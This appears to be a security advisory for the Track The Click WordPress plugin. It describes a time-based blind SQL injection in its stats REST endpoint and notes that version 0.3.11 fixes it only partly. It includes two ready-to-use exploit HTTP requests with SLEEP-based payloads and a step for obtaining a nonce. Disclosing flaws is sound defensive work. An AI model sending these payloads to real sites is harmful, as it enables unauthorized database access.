Description The plugin does not properly sanitize query parameters to the stats REST endpoint before using them in a database query, allowing a logged in user with an author role or higher to perform time based blind SQLi attacks on the database. Version 0.3.11 changes the API endpoint to only be accessible by administrators, and fixes some of the SQL injections, but not all.
GET /wp-json/track-the-click/v1/stats?start=20230825')+AND+(SELECT+1+FROM+(SELECT(SLEEP(12)))l)+AND+('1'%3d'1&end=20230901&group=link&group_time=day HTTP/1.1
Host: example.com
X-WP-Nonce: [Nonce]
Cookie: [Author+]
GET /wp-json/track-the-click/v1/stats?link=1')+AND+(SELECT+1+FROM+(SELECT(SLEEP(12)))l)+AND+('1'%3d'1start=20230825&end=20230901&group=link&group_time=day HTTP/1.1
Host: example.com
X-WP-Nonce: [Nonce]
Cookie: [Author+]
Get a valid nonce from "/wp-admin/admin-ajax.php?action=rest-nonce"